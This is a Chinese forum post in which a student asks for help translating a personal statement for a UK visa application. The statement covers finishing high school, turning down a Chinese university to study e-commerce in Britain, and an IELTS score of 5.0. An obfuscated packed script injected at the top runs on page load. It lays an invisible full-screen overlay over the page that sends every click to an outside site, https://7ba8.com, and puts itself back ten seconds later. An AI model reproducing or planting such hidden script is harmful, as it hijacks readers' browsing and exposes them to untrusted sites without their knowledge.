<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>这是中介发过来给我签证时用的一篇自我介绍 本人苦于英语水平有限(雅思考试只得到5分) 独自翻译过来实在困难 还望请各位高手根据本人的实际英语水平帮帮忙给翻译一下 小弟在此感激不禁!
____________________________________________________________
个人陈述
我于2003年7月高中毕业于XX高中，并于同年参加了高考(University Examination)，高考成绩超过本科录取线并被XX大学录取。
实际上我在念高三的时候就已经决定要到英国去念大学，我对电子商务专业非常感兴趣，虽然国内的大学也有这方面的专业，但基本上都是近两年才开始开设的，课程大部分都是从原来计算机专业里转过来，因此，我认为在这个专业上英国的大学有更好的优势。能获得英国大学的电子商务学士学位，为我将来回国进入上海或深圳的大型企业工作打下一个良好的基础。
因此，我没有进入XX大学学习，而是开始学习英文，因为我认为，在国内掌握了一定的语言基础，到英国后才能进步更快，在基础比较差的时候到英国语言学校去学习，效果并不是很好，而且花费很大。同时我到英国还要学习的大学预科课程，本身就包含了一部分语言课程。目前在国内经过一段时间的学习，我参加了IELTS考试并获得了5.0分的成绩，达到了英国大学预科课程的入学要求。
经过申请，我获得了英国xxcollege的入学通知书，我已经为到英国留学做好了充分的准备，我将会非常珍惜这次机会。
|
|
收藏